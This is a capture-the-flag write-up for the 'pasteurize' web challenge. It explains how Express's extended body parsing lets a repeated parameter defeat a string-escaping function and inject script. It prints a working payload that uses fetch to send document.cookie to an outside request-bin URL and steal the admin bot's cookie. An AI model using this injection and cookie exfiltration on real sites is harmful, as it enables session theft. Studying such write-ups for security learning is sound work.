## Challenge description:

The site [pasteurize.web.ctfcompetition.com](https://pasteurize.web.ctfcompetition.com/) had a simple form titled "create new paste":


Upon submission, I was redirected to a page with a hash/uid added to the original url and a paste had been created:


Since what I posted was reflected and there was an option `share with TJMike`, I was pretty sure this was an XSS challenge. Upon inspecting the html source, I discovered two things:

1. An html comment `` which not only ensured the XSS even more, but also hinted to `/source` url which revealed an express-js source code for the app:

const express = require('express');
const bodyParser = require('body-parser');
const utils = require('./utils');
const Recaptcha = require('express-recaptcha').RecaptchaV3;
const uuidv4 = require('uuid').v4;
const Datastore = require('@google-cloud/datastore').Datastore;

/* Just reCAPTCHA stuff. */
const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key';
const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key';
console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);
const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, {
'hl': 'en',
callback: 'captcha_cb'

/* Choo Choo! */
const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);
app.use('/static', express.static('static', {
etag: true,
maxAge: 300 * 1000,

/* They say reCAPTCHA needs those. But does it? */
extended: true

/* Just a datastore. I would be surprised if it's fragile. */
class Database {
constructor() {
this._db = new Datastore({
namespace: 'littlethings'
add_note(note_id, content) {
const note = {
note_id: note_id,
owner: 'guest',
content: content,
public: 1,
created: Date.now()
return this._db.save({
key: this._db.key(['Note', note_id]),
data: note,
excludeFromIndexes: ['content']
async get_note(note_id) {
const key = this._db.key(['Note', note_id]);
let note;
try {
note = await this._db.get(key);
} catch (e) {
return null;
if (!note || note.length < 1) {
return null;
note = note[0];
if (note === undefined || note.public !== 1) {
return null;
return note;

const DB = new Database();

/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

/* o/ */
app.get('/', (req, res) => {

/* \o/ [x] */
app.post('/', async (req, res) => {
const note = req.body.content;
if (!note) {
return res.status(500).send("Nothing to add");
if (note.length > 2000) {
return res.send("The note is too big");

const note_id = uuidv4();
try {
const result = await DB.add_note(note_id, note);
if (!result) {
return res.send("Something went wrong...");
} catch (err) {
return res.send("Something went wrong...");
await utils.sleep(500);
return res.redirect(`/${note_id}`);

/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
const note_id = req.params.id;
const note = await DB.get_note(note_id);

if (note == null) {
return res.status(404).send("Paste not found or access has been denied.");

const unsafe_content = note.content;
const safe_content = escape_string(unsafe_content);

res.render('note_public', {
content: safe_content,
id: note_id,
captcha: res.recaptcha

/* Share your pastes with TJMike? */
app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => {
const id = req.params.id;

/* No robots please! */
if (req.recaptcha.error) {
return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`);

/* Make TJMike visit the paste */
utils.visit(id, req);


/* This is my source I was telling you about! */
app.get('/source', (req, res) => {
res.set("Content-type", "text/plain; charset=utf-8");

/* Let it begin! */
const PORT = process.env.PORT || 8080;

app.listen(PORT, () => {
console.log(`App listening on port ${PORT}`);
console.log('Press Ctrl+C to quit.');

module.exports = app;

2. The 'paste' is not reflected directly to the DOM but into a javascript string assigned to a `note` variable, which is later added to the DOM after sanitizing it with DOMpurify as in this snippet:

const note = "test";
const note_id = "c3beca3f-d2f3-4c25-964e-0052d96f3035";
const note_el = document.getElementById('note-content');
const note_url_el = document.getElementById('note-title');
const clean = DOMPurify.sanitize(note);
note_el.innerHTML = clean;
note_url_el.href = `/${note_id}`;
note_url_el.innerHTML = `${note_id}`;

## Quest (and the wrong rabbit-hole):

It was obvious I could not try something like `</script><script>alert(1)</script><script>` (to directly add another script tag) since the angle brackets were encoded in the backend by the `escape_string` function:

/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

Also `"`(double quote) would be escaped as `\"`, so, there was no direct way to inject arbitrary javascript code.

So I tried the classic `<script>alert(1)</script>` payload just to see what went on. The DOMPurify actively removed it; fair enough, since it was a dangerous markup. I then tried a more safe html: `` which got that DOMPurify-pass. I then sent it to TJMike and got a new request into my request-bin, apparently they were using apple-webkit based browser:

host: ...
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Cache-Control: no-cache
Pragma: no-cache
Referer: https://pasteurize.web.ctfcompetition.com/e50cc66b-a455-47f4-ffff-6e8ad80f369c
sec-ch-ua-mobile: ?0
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4182.0 Safari/537.36
Connection: keep-alive

### The mXSS rabbit-hole:

I then checked the DOMPurify version used, which was `2.0.8` while the latest release was `2.0.12`. I then quickly assumed (which I probably shouldn't have :/): "Oh, It must be either a DOMPurify or a apple-webkit-specific bypass to get an mXSS executed" and thus entered the wrong rabbit hole of mXSS.

While I was trying to "master" a bunch of mXSS related articles, digging commits on DOMPurify repo and trying out payloads like `` with practically no progress, I noticed that the number of solves was steadily increasing. This made me rethink my approach: "Should not be that complex. Maybe I am going the wrong way?".

### It hit me:

I then decided looking at the `escape_string` function once more. It basically converted the input into a json string(all double quotes in the input would be escaped) and then removed the first & last characters(double quotes) from it. What can possibly go wrong here? since our input is ensured to be a string... right? And then it hit me!

I remembered this query-parsing behavior of express-js I learnt from [one of redpwnCTF 2020 challenges](https://github.com/csivitu/CTF-Write-ups/tree/master/redpwnCTF%202020/web/tux-fanpage). So, when you have multiple instances of same-named params like `param=a&param=d`, express-js will automatically parse `param` as an array like `["a","d"]`(I later learnt the extended option in bodyParser confirmed the behavior as in:`app.use(bodyParser.urlencoded({
extended: true
}))`). I quickly intercepted the post request, changed the request-body to `content=;alert(1);&content=` and got back:

const note = "";alert(1);",""";

So what happened was: `content` param was parsed as this array: `[";alert(1);",""]` which when jsonified remained the same and after removing first & last chars(square-brackets) became `";alert(1);",""` which got printed within the double-quotes. This was great, but there still was a parse-error in the script. I then tried commenting out the unwanted part(`",""";`) by sending `content=;alert(1);//&content=` via the post request-body which gave back:

const note = "";alert(1);//",""";

And I successfuly got the alert popup and thus found the XSS vulnerability, it was only a matter of exploiting it now.

## Solution:

I made a post request with the request-body: `content=;fetch('https://my-request-bin-url/'%2bdocument.cookie);//&content=` which got redirected to `/34f99257-2915-4838-ffff-e21525fa5c05`. Then, I went to `https://pasteurize.web.ctfcompetition.com/34f99257-2915-4838-ffff-e21525fa5c05` and clicked on `share with TJMike` to XSS TJMike. I got a request with the stolen cookie `secret=CTF%7BExpress_t0_Tr0ubl3s%7D` into my request-bin. I thus got the flag after url-decoding the value in the cookie: `CTF{Express_t0_Tr0ubl3s}`.

Original writeup (https://gist.github.com/0xffcourse/777b632be51998117e43eff71a5146f3#pasteurize).